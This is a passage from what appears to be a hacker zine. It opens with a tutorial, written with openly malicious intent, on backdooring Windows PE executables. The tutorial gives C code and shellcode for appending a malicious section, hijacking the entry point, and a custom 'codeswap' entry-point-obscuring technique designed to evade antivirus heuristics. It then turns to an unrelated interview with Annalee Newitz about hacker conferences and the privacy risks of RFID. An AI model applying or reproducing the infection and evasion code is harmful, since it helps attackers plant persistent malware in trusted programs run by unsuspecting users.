SetFilePointer(hndl,iFileSize,0,0);
SetEndOfFile(hndl);
UnmapViewOfFile(hMap);
CloseHandle(hMap);
CloseHandle(hndl);
free(szBuffer);
[0x05] The dark side of this information
"Well very interesting and all Nome you'll say, but how's this gonna help me
h4x?" Well, there are several approaches we can take, i'll discuss 2.
0)Backdooring PE files trough PE infection (both appending and EPO)
1)Compressing/Encrypting your executables to make them smaller and less likely
to be detected by AV engines.
In this article we'll discuss PE backdooring/infection, writing a crypter/packer
will be fairly easy once you've mastered the concept of manipulating PE file
modification, since you can easily use self-decrypting/unpacking code instead of
malicious code. In the context of hacking we'd have, for example, the following
scenario in mind:
Take a well known binary that is run frequently by a user with higher privileges
and add some shellcode (reverse shell, add user, whatever) to it while still
having a fully functional original binary.
In the VXing context it's pretty clear, we'd want to append/employ EPO to infect
a target file with our virus. Since this concept has been chewed and documented
over and over again in the VXing scene, and the concept is generally the same,
i'll just focus on the general concept, not viral or hacking specific , but as I
said, the theory is generally the same, and you could just use viral code (the
executing app) as well as prefixed shellcode.
First of all we'll discuss appending. Appeding to a PE file basically comes down
to adding an extra section to the PE and making the entry point point to the
beginning of this section which executes our code and transfers control back to
the original entry point, so our code will be execute before the real application
code, without the user noticing a huge difference.
Now, let us sum up what needs to be done to Append our code to a PE file.
[0] Create a new section header for our malicious section
[1] Create a new section with our malicious code
[2] Update PE image details relevant to section count,size,etc
[3] Change the PE entry point
[4] (OPTIONAL) Mark the file as infected (in case of a viral infection, to
avoid double infections)
Now, you might wonder how we allocate space for that extra section header?
Simple .. we don't, there's always space for at least one extra section header
in the PE file format.
So let's get our hands dirty . First we must create a new section header, which
should be located directly after the last section header in the original image.
So let's locate the last section header.
IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *)&szBuffer
[iDosHeader->e_lfanew+0x18+iFileHead->SizeOfOptionalHeader]; // section table
Note that 0x18 is the size of IMAGE_FILE_HEADER (0x14) + 0x4
(IMAGE_NT_HEADERS signature dword). So now sectiontable is an array of pointers
to section tables. Accessing the last section header is fairly simple:
IMAGE_SECTION_HEADER* lastsection=§iontable[iFileHead->NumberOfSections-1];
// last section
Why sectioncount-1? Simple, because if there are 2 sections, our last one will
be element 1 in the array (arrays start at 0 remember ;)
So our new section will have to be located here:
IMAGE_SECTION_HEADER* newsection=§iontable[iFileHead->NumberOfSections++];
// our new section
The ++ auto-increments the number of sections, updating the PE image
accordingly.
Let's set up our new section:
strcpy((char *)&newsection->Name,".nomenumbra"); // new section's name
As said earlier, section data, like size,offsets and RVAs need to be aligned
according to PE details.
A simple macro for aligning values is this:
#define ALIGN(X,Y) ((X+(Y-1))&(~(Y-1))) which will align value X according to
value Y
newsection->VirtualAddress=ALIGN(lastsection->misc.VirtualSize+lastsection->VirtualAddress,iOptHead->SectionAlignment); // align new rva
newsection->PointerToRawData=ALIGN(lastsection->SizeOfRawData+lastsection->PointerToRawData,iOptHead->FileAlignment); // align new physical offset
newsection->Misc.VirtualSize=ALIGN(shellcode_size,iOptHead->SectionAlignment);
// align new virtual size
newsection->SizeOfRawData=ALIGN(shellcode_size,iOptHead->FileAlignment);
// align new physical size
newsection->Characteristics=IMAGE_SCN_CNT_CODE|
IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE;
// section flags hurray!
Now we Adjusted the new section fields, let us update the PE image and write
our malicious code to the new section:
iOptHead->SizeOfCode+=newsection->misc.VirtualSize; // new code size
iOptHead->SizeOfImage=newsection->VirtualAddress+newsection->Misc.VirtualSize;
// new image size
// important to adjust this value since the EOF will be set here!
FileSize = newsection->PointerToRawData+newsection->SizeOfRawData;
// physical offset + physical size (EOF)
CreateJumper(scode,iOptHead->ImageBase+iOptHead->AddressOfEntryPoint);
iOptHead->AddressOfEntryPoint=newsection->VirtualAddress;
// update the entry point to make it point into our code
for(i = 0; i < shellcode_size; i++)
szBuffer[newsection->PointerToRawData+i] = scode[i];// write our malicious
// code to the new data (that's why we
// mapped the file with size +
// shellcode_size, to avoid b0fs here)
This is basically all the code that is necessary to add an extra section and
make code execution start there. This leaves us with one more subject, the
CreateJumper function. This function will adjust our malicious code to transfer
control back to the original entry point after it's done executing. Say we'd have
a piece of code that does nothing else than jump to the original entry point:
unsigned char scode[7];
memset(scode,0,7);
strcpy(scode,"\xBF\xEF\xBE\xAD\xDE\" // mov edi,0xDEADBEEF
"xFF\xE7" // jmp edi
);
int shellcode_size = sizeof(scode);
#define ENTY_POINT_OFFSET 1
void CreateJumper(unsigned char* scode,DWORD EntryPoint)
{
*(DWORD*)(scode+ENTY_POINT_OFFSET) = EntryPoint;
}
The CreateJumper function will modify the DWORD at scode+1 (the beginning of the
little endian 0xDEADBEEF) to be the original EntryPoint of the PE image. This
piece of code will move that address into edi and then jump there. Just prepend
whatever malicious code you want to this jump and update the ENTRY_POINT_OFFSET
accordingly to have it work. Do note however that your malicious code may make
no direct address references, but needs to either do a delta offset adjustment,
like all PE Appending viruses do (just read lord Julus' tutorial in the resource
list) or use use the call/jmp/pop trick like shellcode usually does, then all
will be fine.
Now let us look at the downsides of PE Appending. First of all it's fairly
obvious when a PE file's entry point points outside the usual code section. Most
debuggers will immediately alert the reverser of a potentially
self-modifying/packed or infected PE file. Also anti-viral heuristics might
report the file (when there are some other factors present as well, like an
incorrect checksum, which usually indicates an infection mark, to prevent
double-infection) as being infected. To counter these downsides, EPO was
invented. EntryPoint Obfuscation/Obscuration (EPO) is a technique that will
leave the EntryPoint intact but still make the malicious code execute first.
How can we do this? Well the most basic method would be the one employed by the
old Cabanas virus, we take the first 7 bytes at the original EntryPoint and
overwrite them with a jump to our new section (or we could simply extend the
original code section and include our code there, which is fairly trivial when
adapting the above code a bit).
Let us look at the following example:
Before modification:
{ENTRY_POINT@.text}
00401000 >/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401002 |. 68 00204000 PUSH calc.00402000 ; |Title = "shitcrypt v1.0 test 1 2 3 4"
00401007 |. 68 00204000 PUSH calc.00402000 ; |Text = "shitcrypt v1.0 test 1 2 3 4"
0040100C |. 6A 00 PUSH 0 ; |hOwner = NULL
0040100E |. E8 40000000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
After modification:
{ENTRY_POINT@.text}
00401000 > $ BF 00504000 MOV EDI,calc.00405000 ; New section with our code
00401005 ? FFE7 JMP EDI
00401007 . 68 00204000 PUSH calc.00402000 ; |Text = "shitcrypt v1.0 test 1 2 3 4"
0040100C . 6A 00 PUSH 0 ; |hOwner = NULL
0040100E . E8 40000000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
What is important is that at the end of our malicious code there should be a
reset of the original 7 bytes at the entrypoint and then a jump back to the
entrypoint. The following code would accomplish that:
mov edi,0DEADBEEFh ; 0xDEADBEEF will be modified into the entrypoint address
mov eax,0CAFEBABEh ; eax is the first 4 bytes of the original code at the
entrypoint
stosd ; store them
xor eax,eax
mov ax,0DEADh ; next 2 bytes of the original code
stosw
xor eax,eax
mov al,0Ah ; last byte of the original code
stosb
sub edi,7 ; substract 7 from edi and jump there, edi is now the
entrypoint address again.
jmp edi
In shellcode form it would look like this:
unsigned char scode[29];
memset(scode,0,29);
strcpy(scode,
"\xBF\xEF\xBE\xAD\xDE" // mov edi,entrypoint
"\xB8\xBE\xBA\xFE\xCA" // mov eax,original dword @ entrypoint
"\xAB" // stosd
"\x33\xC0" // xor eax,eax
"\x66\xB8\xAD\xDE" // mov ax,orignal word @ entrypoint + 4
"\x66\xAB" // stosw
"\x33\xC0" // xor eax,eax
"\xB0\x0A" // mov al,orignal byte @ entrypoint + 6
"\xAA" // stosb
"\x83\xEF\x07" // sub edi,7 (edi == entrypoint again)
"\xFF\xE7" // jmp edi
);
Now we should modify the values (entrypoint, original bytes) at the according
offsets and write this piece of code to the new section, of course we should
first prepend our real malicious code to this restoration code. Also note that
the section flags of the code section should have the addition of being
writeable (do a logical or on them with IMAGE_SCN_MEM_WRITE) in order to allow
code restoration
Now this method is quite ok, but most AV scanners will still pick this up by
checking for a suspicious jump outside of the current section at the entrypoint.
GriYo's Marburg virus added random junk code before the jump to another
section, but newer AV emulators can trace trough it, so we need to find another
method for true, stealthy EPO.
In his article "EPO: Entrypoint Obscuring" GriYo introduced a method of scanning
the target code section for API calls and inserting an EPO jump after them. This
method involved looking for the FF15 opcode (call <addr> opcode) check if the
<addr> lied within our code section (by checking if the rva (<addr> - imagebase)
lied between the code section VirtualAddress and VirtualAddress+VirtualSize, if
so it would overwrite the instruction after the call with a call to our viral
code, where our viral code would simply pop the retaddr of the original
instruction so it could set everything back again. The benefit of this method
was that AV scanners would first spot a call inside the code section and not
mark the file as employing EPO. The mayor downside was that if the first
suitable infection spot lied after a conditional branch there might have been a
chance that the virus wouldn't get executed at all. He improved this as he
discussed in detail in his article "EPO: Entrypoint Obscuring".
Now, although this method proved quite efficient Piotr Bania raised some
important questions in his article "Fighting EPO viruses".
Quoting him:
"As mentioned before, the virus injects the call instruction by overwriting it
with a randomly found call. As the application size grows (and also the injected
call range from the entry-point), it becomes increasingly difficult to find the
injection of the virus. On the other hand, while using this EPO technique
reduces the risk of virus execution, there are also some cases when the
"call-to-virus" will not be executed at all.
At this point, let's find a way to detect such injections such that it does not
cause false alarms. How difficult is it to find CTX.Phage injections? First of
all, the virus inserts a call instruction as follows:
E8 ?? ?? ?? ?? CALL XXXXXXXX
Where:
E8 is the CALL instruction opcode
?? ?? ?? ?? is the instruction operands (destination)
Before we go any further, let's summarize all the information we know about the
current EPO:
The injection is always done somewhere behind the entry-point. The injected
call executes the virus code which is stored always in last section (this bit of
information is really helpful). As the reader probably knows, we could simply
search for 0xE8 bytes (call opcodes) but there is large possibility that we
might find some "suspicious" call that thands in non-call instruction, for
example:
68 332211E8 PUSH E8112233
As you can see, this is the push instruction, but the scanner finds the E8 byte
and could consider it as a call. Unless we don't want to build up our
disassembler engine (which is very long and hard work) we need to find another
way. Yes, you guessed it: we need to add a condition for the E8 byte scanning
routine, remembering that the call always executes code that resides in last
section! Now that everything is clear, here are the conditions we require:
temp_loc = (DWORD)((DWORD)pSHC->VirtualAddress + i + (*(DWORD*)loc)) + 5;
if (temp_loc >= pSH->VirtualAddress && temp_loc <= pSH->VirtualAddress +
pSH->Misc.VirtualSize)
BAD_CALL = 1;
Where:
temp_loc is the calculated destination of found call (E8 opcode)
pSH is the header of last section
+ 5 is the size of call instruction (opcode + destination)
A sample temp_loc calculation might look as follows:
Scanned instruction:
00401025 \. E8 58270000 CALL <jmp. &kernel32.exitprocess="">
Calculation: temp_loc = 1025 (virtual address) + 00002758 (call destination) + 5
(size of call instruction)
If the temp_loc address resides somewhere between last section's virtual address
(start) and the last section's virtual address + its virtual size, the call is
marked as suspicious. "
This method works like a charm indeed, hence why many heuristics scanners employ
this method. There is however one crucial weakness in this method:
"The injected call executes the virus code which is stored always in last
section (this bit of information is really helpful)."
It relies on the fact that the EPO jump is considered to always jump to an
appended section. So what if it didn't? Hmm interesting. We have to make a
choice as in what is the most important goal we want to achieve. "Full" stealth,
or making sure the host app code execution flow doesn't get corrupted in ANY
way.
If we choose the first or second, we might do the following:
Scan host code for a jump/call inside the host code, see where it references
to and at this point insert a jump/call to our viral code stored in, for
example, an extra section.
However there is one BIG downside (apart from the same improbability of viral
execution as with GriYo's method) in this case, check the following example:
{ENTRYPOINT@HOSTECODE}
<some code>
test eax,eax
[0] call Label1
<who cares>
Label1:
[1] mov ebx,0xCAFEBABE
jz roflmao
<some more code>
roflmao:
<yet some other code>
When we would follow our method, we would encounter the call at [0] and insert
our jump/call to the viral code at [1]. Now the problem lies in the fact that
after the test eax,eax before [0], the zero flag is set, code execution
continues from [1] to our viral code and potentially the zero flag gets messed
up, rendering different results at the jz after [1]. We can't possibly take all
this into account so we'll have to find another, reliable, stealthy method
without interfering with code execution flow.
To do this, I thought up a way i'd like to call "Codeswap infection":
[0] Find section the entrypoint is located in
[1] Check if there is enough space in this section for our malicous code +
jump to restoration routine
[2] Generate a random address inside this section, leaving us enough space to
store our mal. code + jump
[3] Create a new section of size = sizeof(malcode)+sizeof(jump)+
sizeof(restorationcode)
[4] Backup X bytes from the address in the host code we are gonna store our
mal. code and write these X bytes to the new section. X is the size of the
mal. code + jump
[5] Write our mal. code to that address
[6] Create a jump to address (RVA of new section +
sizeof(malcode)+sizeof(jump)), this address is right after our backed up
original code
[7] Append this jump to the mal. code in the host code body
[8] Create the restoration routine and write it to the address generated in[6]
[9] Point the PE entrypoint to the address in the host code we wrote our mal.
code to
Our restoration code should look like:
mov edi,0DEADBEEFh ; malicious code address
mov esi,0CAFEBABEh ; new section RVA+imagebase
mov ecx,0D3F4C3D1h ; section length
looplen:
lodsb
stosb
loop looplen
mov edi,0DEADFED2h ; PE entrypoint
jmp edi
I will now provide some sample code in C which should be easily portable to ASM
for anyone with at least some experience in PE manipulation and a decent
understanding of ASM. The reason i choose to write this code in C is that the
whole concept will be a lot clearer this way and to help people who are not that
familiar with everyday ASM usage:
#define MAL_OFFSET 1
#define ORG_OFFSET 6
#define LEN_OFFSET 11
#define ENT_OFFSET 20
void CreateRestorationCode(unsigned char* scode,DWORD malcode,DWORD newsect,
DWORD restorelen,DWORD entry)
{
*(DWORD*)(scode+MAL_OFFSET) = malcode;
*(DWORD*)(scode+ORG_OFFSET) = newsect;
*(DWORD*)(scode+LEN_OFFSET) = restorelen;
*(DWORD*)(scode+ENT_OFFSET) = entry;
}
<snip>
//scode is our malicious code
unsigned char jmpcode[7]; // a piece of jump code, a jump to the next
// shatter piece that is will be inserted
// after each shatterpiece, the jump after
// the last shatterpiece will jump to the
// restorationcode
memset(jmpcode,0,7);
strcpy(jmpcode,"\xBF\xEF\xBE\xAD\xDE\xFF\xE7");
unsigned char restorecode[26];
memset(restorecode,0,26);
strcpy(restorecode,"\xBF\xEF\xBE\xAD\xDE"
// mov edi,<addr of malicious code>
"\xBE\xBE\xBA\xFE\xCA"
// mov esi,<addr of original code>
"\xB9\xD1\xC3\xF4\xD3"
// mov ecx,<length of malicious code>
//<looplabel:>
"\xAC" // lodsb
"\xAA" // stosb
"\xE2\xFC" //loop <looplabel>
"\xBF\xD2\xFE\xAD\xDE"
// mov edi,<entrypoint address>
"\xFF\xE7"); // jmp edi
int shellcode_size = sizeof(scode)+sizeof(jmpcode)+sizeof(restorecode);
IMAGE_SECTION_HEADER* sectiontable=(IMAGE_SECTION_HEADER *)
&szBuffer[iDosHeader->e_lfanew+0x18+iFileHeader
->SizeOfOptionalHeader];
// section table
IMAGE_SECTION_HEADER* lastsection=§iontable[iFileHead->
NumberOfSections-1]; // last section
int entrysection_id = 0;
for(i = 0; i < iFileHead->NumberOfSections;i++)
{
if((iOptHead->AddressOfEntryPoint >= sectiontable[i].VirtualAddress)
&& (iOptHead->AddressOfEntryPoint <=
sectiontable[i].VirtualAddress+sectiontable[i].Misc.VirtualSize))
{
// entrypoint section id
entrysection_id = i;
break;
}
}
if(sectiontable[entrysection_id].oe_physsize <
(sizeof(scode)+sizeof(jmpcode)))
{
// quite code here and reset everything!
}
DWORD TargetRawAddr = rand()%(sectiontable[entrysection_id].
SizeOfRawData-(sizeof(scode)+sizeof(jmpcode))) + sectiontable[entrysection_id].PointerToRawData; // generate a random address in the code
// section where our viral code will fit
DWORD delta = (TargetRawAddr -
sectiontable[entrysection_id].PointerToRawData);
DWORD TargetRVA = sectiontable[entrysection_id].VirtualAddress + delta;
// virtualrva + physical delta
printf("[+]Inserting viral code at RVA %#x == Raw addr %#x...\n",
TargetRVA,TargetRawAddr);
newsection=§iontable[iFileHead->NumberOfSections++];
// our new section
strcpy((char *)&newsection->Name,SectName);
// new section's name
newsection->VirtualAddress=ALIGN(lastsection->
Misc.VirtualSize+lastsection->VirtualAddress,iOptHead->
SectionAlignment); // align new rva
newsection->PointerToRawData=ALIGN(lastsection->SizeOfRawData+
lastsection->PointerToRawData,iOptHead->FileAlignment);
// align new physical offset
newsection->Misc.VirtualSize=ALIGN(shellcode_size,iOptHead->
SectionAlignment); // align new virtual size
newsection->SizeOfRawData=ALIGN(shellcode_size,iOptHead->FileAlignment);
// align new physical size
newsection->Characteristics=IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ; //set new section flags so we can edit
printf("[+]Created new section...\n");
iOptHead->SizeOfCode+=newsection->Misc.VirtualSize; // new code size
iOptHead->SizeOfImage=newsection->VirtualAddress+newsection->
Misc.VirtualSize; // new image size
FileSize = newsection->PointerToRawData+newsection->SizeOfRawData;
// physical offset + physicall size (EOF)
printf("[+]Updated PE image...\n");
// copy original bytes to new section
DWORD NewSectionBackup_Addr = base+newsection->PointerToRawData;
// new section
memcpy(NewSectionBackup_Addr,base+TargetRawAddr,
sizeof(scode)+sizeof(jmpcode)); // backup space that will be
// overwriten (malicious scode
// and jumper code)
printf("[+]'Backed up' original data in new section...\n");
memcpy(base+TargetRawAddr,&scode,sizeof(scode));// write malicious code
printf("[+] Wrote malicious code to target spot...\n");
DWORD RestoreAddr = iOptHead->ImageBase+newsection->
VirtualAddress+sizeof(scode)+sizeof(jmpcode); // address of restoration
// routine in new
// section, located after
// backup data
CreateJumper(jmpcode,RestoreAddr);// 'backup section' addr, points to
// restoration routine
memcpy(base+TargetRawAddr+sizeof(scode),&jmpcode,sizeof(jmpcode));
// copy jumper code after malicious
// code
printf("[+]Created jumper code to restoration routine, appended it
after malicious code...\n");
CreateRestorationCode(restorecode,iOptHead->ImageBase+TargetRVA,
iOptHead->ImageBase+newsection->VirtualAddress,sizeof(scode)+
sizeof(jmpcode),iOptHead->ImageBase+iOptHead->AddressOfEntryPoint);
// create restoration code
memcpy(base+newsection->PointerToRawData+sizeof(scode)+sizeof(jmpcode),
&restorecode,sizeof(restorecode));
printf("[+]Created restoration routine, appended it after backup data
in new section...\n");
iOptHead->AddressOfEntryPoint = TargetRVA;
There are of course many variations possible, we could for example leave the PE
entrypoint intact and insert a jump (with potential opaque-predicate based dummy
code to confuse emulators) to our piece of overwritten host code, we could also
locate the restoration routine inside the host body and make it self-restore.
Important would be to randomize the registers used in the jump code-linking.
Just, instead of 0xBF (mov edi) use another register, randomize this, it's
fairly easy. The same goes in this case for the jmp edi (0xFF 0xE7).
Another idea might be to position our mal. code + jump BEFORE the entrypoint (if
there is space of course), leave the EP intact and insert a jump to this spot at
the entrypoint. Yet another idea might be to shatter the code over different
sections and link them together with jumps, creating code islands like z0mbie's
code integration engine from Zmist. There are many plays on this theme as you
can see and although there are hordes of things that could use some
fixing/perfection, it does get you familiar with the possibilities of EPO,
and gives you a jump to designing your own proffered methods.
[0x06]
Resources:
http://msdn.microsoft.com/msdn mag/issues/02/02/PE/default.aspx
http://msdn2.microsoft.com/en-us/library/ms680195.aspx
"Appending to the PE File"
Lord Julus - 1999
http://vx.netlux.org/lib/static/vdat/tuappend.htm
"Entrypoint Obscuring"
GriYo
http://vx.netlux.org/lib/vgy01.html
"Fighting EPO viruses"
Piotr Bania
http://vx.netlux.org/lib/apb00.html
[0x07] Shoutz'n greetz
Shouts and greets go to the Nullsec folks ;), the whole of RRLF, the .aware
crew, xzziroz, PullThePlug, SmashTheStack, HackThisSite, the #dutch folks ,
#vxers and #vx-lab on undernet, irc.blackhat.ru, what's left of 29A and every
true blackhat and scene lover out there, stick together guys!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
capitalist monsters, RFID & internet tubes
An interview with Annalee Newitz.
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Annalee Newitz is a freelance writer from San Francisco, CA. She is also the
editor of Wired Magazine and a general expert on all things geek. flatline from
hackbloc sat down with her one morning to ask her some questions.
Hack This Zine: So you recently attended the Chaos Communication Congress in
Germany.
Annalee Newitz: I did, yea that was fun.
HTZ: What was it like? Can you tell us about it?
A: Well like a lot of hacker conventions it sort of combined politics and fun
with highly technical talks and demos so it was a really nice combination of,
you know I mean it really seemed like people always wanted to be thinking of the
social impact of the technology's they were working on, so it definitely had a
very, um it was much more hacker oriented than say a software development
conference, and I got to meet a lot of people who I only got to know through
email and stuff so that was great.
HTZ: Is the correlation of social justice and hacker activities more prevalent
over in Europe than in the US? Is it the same?
A: I think it depends on the group of people that you are talking about. I
think in Europe generally people feel a lot more engaged with the way that the
government process impacts technological development. partly thats because
governments in western European countries tend to be stronger and they tend to
be governments that are parliamentary systems so people feel a lot more
represented and I think they also, I think they have a lot more hope about the
way that government can play a positive role about shaping industry and shaping
social relations. I think in the US there is a; lot of, not unwarranted
cynicism, about the role of government. Government in the US has stymied
scientific progress particularly under bush 2. So I mean you know people who
work in the sciences and who work in technology are very leery of government
intervention, but I also feel like there is a lot of hopelessness about whether
we could influence government and whether government will ever do anything
positive for us. So when you do have a conference like say HOPE in NY which is
a fantastic political hacker conference. You have a lot of venting about how
government is destroying our ability to innovate and to do technology as opposed
to how can we use politics to make technology better. There is just sort of like
how the hell can we get the government off of our back which is perfectly
understandable given the way the government has been attempting to prevent
people from doing everything from having inter operable machines to access to
everything we say if we are using AT&T for our phone provider or our network
provider.
HTZ: You used the phrase “Using our politics to make our technology better.
What about the reverse of that, as in using technology to further our politics
for things like protest do you feel like that has a place?
A: Absolutely, and I think that where people in the US are thinking in very
interesting ways. Obviously moveon.org is kind of the perennial example in the
way that they have been able to mobilize people online. And I think move on is
great I do have some problems with their methods in some ways I actually have
been spammed by move on [laughs]. I do not think that they should be shut down
constantly by AOL as they have been, or they are not shut down but AOL will
often refuse to route their mail which I think is completely terrible. But, you
know there is other examples too, just really simple stuff, like flash mob
techniques on cell phones that people used to coordinate protests, and when
there were anti-war protests New York there were a lot of groups of people
saying, well people were messaging back and forth on their phones saying, the
cops are over here on 5th lets move over to 6th. And people were sort of moving
back and forth based on crowd communication. And I think thats fantastic and
its a fairly simple tool for organizing a protest and for keeping it peacefull
and for keeping it going. So thats fantastic. And of course people talk about
the “blog-o-sphere” and how blogs can help mobilize political movements, and I
think thats kind of like saying that TV can help mobilize political movements.
Its like yea ok, blogs, tv, that to me seems kind of, um..
HTZ: Well, It's still passive media.
A: Its not, now I don't want to collapse it completely, because I don't think
that blogs are completely passive but I think that the way that a lot of
politicians are going to be using blogs in the upcoming election will be an
extension of TV. Its like “oh, its Hillary Clinton's blog, look shes saying
stuff about kids because people want women to say stuff about kids when they are
running for office. Look how much of a nice lady she is.” So that I mean, I
don't KNOW that shes going to do that, but I would not be surprised at all if
thats what we get from it.
HTZ: I hadn't heard that the presidential candidates were going to be blogging,
it does make sense though.
A: Yea there was an article in the times, it was either yesterday or the day
before, it was being discussed what role the blogs will play in the upcoming
election, and I wouldn't be surprised if there was a Hillary blog, I mean, maybe
she wont be writing it, maybe it will be a ghost writer or something.
HTZ: I know I would love to read Jeb Bush's blog personally.
A: No, he should have a podcast.
[laughs]
HTZ: Um, ok, so you had an RFID chip implanted in your hand about a year ago
correct?
A: Actually it was in my arm.
HTZ: Oh ok, in your arm. So you've had that in your arm for about a year now
and you've had the chance to live with it for a while. How has that affected
your life, how do you feel about it, and what is the current status on the chip.
A: Um the chip is alive and well its in my right upper arm and I got the
verichip. Its actually a pet tag, and the company designates a certain area of
the body where the chip has to go in ad because a surgeon implanted mine he
followed the directions. Unlike other people who have gotten it put in their
hands where it is easier to access, and they have actually done that themselves,
which I don't do because I don't actually do surgery on myself. I'm not that
geeky. so anyway, the chip is working, I am very pleased that the work that I
did and the work that Johnathan Westhues did. He hacked the chip, or actually
cloned the chip, and our work has gotten out into the public sphere and has made
verichip's business plan look rather foolish. And verichip keeps refusing to
acknowledge how easy it is to clone these tags and keeps claiming that because
they can implant it in someones arm that somehow makes it ultra secure. But I
think that anyone who is interested in buying secure access devices which is
what these are supposed to be, has seen the press around what we did, can see
that it is a terrible idea, I mean, why would you implant an insecure thing into
your arm, I mean, so now its in your arm forever and it just sucks. So I've
been really happy with the outcome. The reason I haven't gotten it remove is
because, A. its kind of cool to have something like that in your arm but B. It's
actually a really horrible process because its so small. And so they really
have to cut you open and dig it out. Putting it in is really quick. Its just a
cantelated needle, pook, they just stick it in. So There's no reason for me to
take it out. I'm not using it for anything secure, at this point its just kind
of a neat party trick, “Look I can broadcast a number from my arm.” And
Johnathan who designed the cloner device which allows him to read the ID and
then rebroadcast it, actually made a special device and gave it to me that will
automatically read and clone it simultaneously. Well not simultaneously but in
rapid succession. And I had to take it through and airport. And even to me it
kind of looked like a bomb. I mean its just this sort of chip board, it has a
bunch of silicon kind of globbed on top of it, this white goo, and its attached
to this very phallic looking antenna. It does not really look like an antenna,
It looks like a bunch of wire wrapped around a magnet, and it has batteries in
it. So when I tried to go through security, I was detained, and they were fairly
disturbed by this item. [Laughs]
Actually I have to say that the security guys were fairly nice about it, after
I explained in great detail what it was and it was clear that I was just a nerd
and not a terrorist. So they finally let me stick it into stick it in my
suitcase and check it. So that was exciting.
HTZ: Thats good!
A: So yea, now I have my cloner.
HTZ: This close from being on the no fly list forever.
A: Yea, well I don't know, they may have put me on a list or something!
HTZ: So, say, younger hackers, younger geeks, who for, “mad scientist” purposes
are considering getting an RFID chip implanted in
themselves. Would you
recommend that to them, for experimental purposes, or would you recommend them
waiting for more secure chips?
A: Well it really depends on what people want to do. I think, especially if
they are going to get it put in. Well first I would say get it put into your
hand, because of course its a lot easier to get out if you put it in your hand.
The problem with it in your arm is that There's, your arm has fat and muscle
and all kinds of crap. So, There's already chips on the market that have fairly
decent encryption. And there is a guy up in Seattle, Amal Gafstra who was
written about a lot of this stuff who actually has 2 chips, one in each hand.
One of which has really good encryption and the other which has a sort of
programmable field that is not protected in any way. And he has had lots of fun
playing with them. He has a book out called “RFID Toys” or something like that.
You can look it up on Google But he has a lot of great experiments that you can
do like, use it to unlock your car or use it to boot up your computer or
something. So I really like the idea of high tech body modification and I like
the idea of people experimenting safely with trying to become like cyborgs my
only concern is don't get infected and try to have someone around who has skills
with sterilization.
And you know, don't take out your heart! Don't try to mod your liver. You know,
mod safely.
HTZ: No home brew kidneys?
A: Yea maybe not, you know! We don't have a total artificial kidney yet, well I
guess we kind of do, but not to do at home.
HTZ: Yea. So there is a lot of buzz right now about RFID chips, from the
RFID industry, talking about how great they are, and you know, of course all the
standard things that any industry would support in their product, and also from
the ACLU and other people talking about how they could be a threat to freedom
and how they could be used as tracking devices. Which, I'm not even sure if the
tracking devices idea is technologically sound. At least I haven't been able to
figure out how to use an RFID chip as a tracking device yet. But do you think
that they could be a threat to freedom or liberty.
A: I definitely do and there are ways that you can use them and tracking
devices, even now. The way that would work is a lot of the RFID's that are
being manufactured now unlike the one on my arm are active RFID's. That means
that they have a power supply on board. They are not powered by the reader.
Which means that they have a read range of several yards in some cases. So say
for example you had these new Nike shoes that have an RFID in them, and they are
supposed to communicate with your IPOD, its called the Nike Plus Shoes, and
they send information about your running speed and the length of time you have
been running or walking to your Ipod for exercise so you can look and see how
long you've been running or walking and the thing is, the RFID on those shoes is
default on. and so even when you are not using them as a fun exercise tool they
are broadcasting your unique ID that corresponds to you because they are your
speakers and also probably somewhere to some credit card database. But the
point is that if somebody were interested in tracking where you were going. If
they knew that you go to school someplace or work someplace, they could build a
hundred dollar RFID reader, or something cheaper with some sort of a wifi stick
on it and plant that those in areas where they think you are likely to go and
start tracking when you are certain places. And those readers could communicate
with a computer network. Like I said some sort of wifi stick thing. So I mean
at this point is someone likely to do that unless they are just completely
crazed or working for the NSA or something like that, maybe thats going to be a
rare occurrence, but I think in 2-3 years its going to be quite easy and cheap
for people to do that, and the thing is as RFID becomes more ubiquitous in times
and clothing and other things that we are trying to track, you know, for
possibly legitimate reasons like keeping track of equipment in a building or
something, its going to become easy for people to take over the readers or just
own up the databases that are communicating with those readers and just get
access to all that information, so say if you have an RFID tag in your work and
there are RFID readers all around your work that are tracking you and somebody
says well I wanna know where you are going everyday so I can capture you for
whatever reason or so that I can rob your house because I know when you are at
work, so I can just break into the crappy oracle back end database that they
have and find out where you are, “Oh great heres your ID and you are in the
bathroom, so I can go rob your office” And I think thats definitely a danger,
and I think as well, it just adds, the idea that we will all be trackable, adds
to peoples sense that they don't have any privacy and it just sort of enhances
to the surveillance society feeling that we already have, that there's fewer and
fewer private spaces. Oh and one more thing that I was going to add to that that
your readers might not have thought of which is that as you have this kind of
RFID location information being stored in private databases, there is a lot of
danger that possibly law enforcement can get that kind of data without court
over site, because its privately owned data, so that company can sell that data,
they could become a choice point type company and they could sell that data to
law enforcement, perfectly legally. And so law enforcement can start tracking
you without a warrant. And thats a very realistic picture. Because we already
know that Law enforcement works with choice point to get data on people, so
thats something that Civil liberties folks really worry about, like how does
that allow law enforcement to gather data on people. This sort of work around.
And thats actually a very big issue.
HTZ: Well something thats almost as scary as law enforcement is advertisers and
spammers. I could see horrible repercussions from those people getting a hold
of this technology. Recently, the mini Cooper car company put up a billboard in
San Francisco where you put up an RFID chip on your car, and when you drive by
it will say some message that you put in.
A: Oh god no, I didn't see that, thats, wow, thats nice! [laughs]. Well yea
thats exactly, thats a fun happy use of RFID to a certain extent, I would love
to see people program it to say “Fuck You mini Cooper” or “buy Viagra” something
like that. But yea you can see that the technological infrastructure is there
though. And the reader could be tracking whenever your car drives buy so people
know when you are driving in and out of the city. Has anybody done that? Has
anybody hacked them so their mini Cooper sends a nasty message to the billboard?
HTZ: It hasn't happened yet , as far as I know, although...
A: I can't believe it hasn't happened yet!
HTZ: Well I haven't had a mini Cooper to put that plan into action.
A: Ok, you guys need to find someone with a mini cooper, this needs to be your
next project.
